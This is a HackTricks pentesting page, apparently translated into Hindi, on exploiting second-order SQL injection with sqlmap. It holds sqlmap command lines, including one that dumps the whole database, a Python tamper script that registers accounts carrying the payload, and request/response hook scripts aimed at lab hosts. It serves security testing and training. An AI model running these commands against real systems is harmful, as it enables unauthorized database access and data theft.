Second Order Injection with SQLMap

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

SQLMap can exploit Second Order SQLis.
आपको यह प्रदान करना होगा:

  • वह request जहाँ sqlinjection payload को सेव किया जाएगा
  • वह request जहाँ payload को execute किया जाएगा

वह request जहाँ SQL injection payload सेव किया जाता है, sqlmap में किसी भी अन्य injection की तरह ही indicated होती है। वह request जहाँ sqlmap injection का output/execution पढ़ सकता है उसे --second-url से, या --second-req से indicate किया जा सकता है यदि आपको file से complete request बतानी हो।

Simple second order example:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

कई मामलों में यह पर्याप्त नहीं होगा क्योंकि आपको payload भेजने और किसी अलग page को access करने के अलावा अन्य actions भी perform करने होंगे।

जब ऐसा needed हो, आप एक sqlmap tamper का उपयोग कर सकते हैं। उदाहरण के लिए, following script एक नया user sqlmap payload को email के रूप में उपयोग करके register करेगा और logout करेगा।

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

एक SQLMap tamper हमेशा payload के साथ injection try शुरू करने से पहले execute होता है और उसे एक payload return करना होता है। इस case में हमें payload की परवाह नहीं है, लेकिन हमें कुछ requests भेजनी हैं, इसलिए payload नहीं बदला जाता।

तो, अगर किसी reason से हमें second order SQL injection exploit करने के लिए more complex flow चाहिए, जैसे:

  • “email” field के अंदर SQLi payload के साथ एक account create करना
  • Logout
  • उस account के साथ Login करना (login.txt)
  • SQL injection execute करने के लिए एक request भेजना (second.txt)

यह sqlmap line help करेगी:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

वास्तविक second-order flows में उपयोगी switches

Second-order automation आमतौर पर इसलिए fail होती है क्योंकि payload storage request काम करती है, लेकिन execution request noisy, stateful, या protected होती है। जब ऐसा होता है, तो निम्न flags आमतौर पर और payloads जोड़ने से ज़्यादा उपयोगी होते हैं:

sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
  • --csrf-token, --csrf-url, --csrf-method: उपयोगी जब store या trigger request को हर प्रयास पर नया anti-CSRF token चाहिए।
  • --live-cookies: हर request से पहले cookies reload करें। उपयोगी जब browser/Burp macro background में session state refresh कर रहा हो।
  • --safe-req और --safe-freq: workflow को चालू रखें जब application आपको log out कर देती है या कुछ failed probes के बाद session invalidate कर देती है।
  • --string, --not-string, --regexp, --code, --text-only: उपयोगी जब second-order response में banners, ads, timestamps, या user-generated junk हो, जिससे diffing unstable हो जाती है।

When --tamper is not enough

tamper.py अभी भी payload register करना, log out करना, फिर से log in करना, और execution trigger करना का सबसे आसान तरीका है। हालांकि, modern targets पर अक्सर कुछ logic को request/response hooks में shift करना ज्यादा clean होता है:

  • --preprocess: भेजे जाने से पहले पूरे HTTP request को modify करें। उपयोगी जब second-order flow को extra nonce, extra parameter, या header normalization चाहिए।
  • --postprocess: sqlmap द्वारा compare करने से पहले HTTP response को clean करें। उपयोगी जब second-order sink dynamic HTML में wrapped हो और केवल एक छोटा fragment stable हो।

Example request/response hooks:

#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code

महत्वपूर्ण सीमाएँ

  • यह मान न लें कि --second-req दूसरे request में * placeholder के अंदर वही payload replay करेगा। अगर trigger request को भी injected value (या उसका derived version) चाहिए, तो custom tamper, --preprocess, या local proxy आमतौर पर आवश्यक होता है।
  • दूसरे request के लिए --eval पर निर्भर न रहें। official usage में --eval को primary request flow के लिए document किया गया है; अगर दूसरे request को भी per-attempt mutations चाहिए, तो उन्हें अपने helper scripts के अंदर handle करें।

यह pattern खास तौर पर तब उपयोगी है जब payload इन जगहों पर stored हो:

  • Filenames या image metadata, जिन्हें बाद में query किया जाता है
  • Registration/profile fields, जिन्हें बाद में admin panels consume करते हैं
  • Sorting/filtering preferences, जो server-side saved होते हैं और बाद में replay किए जाते हैं
  • Workflow state, जो केवल preview, export, या moderation action के बाद execute होता है

References

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें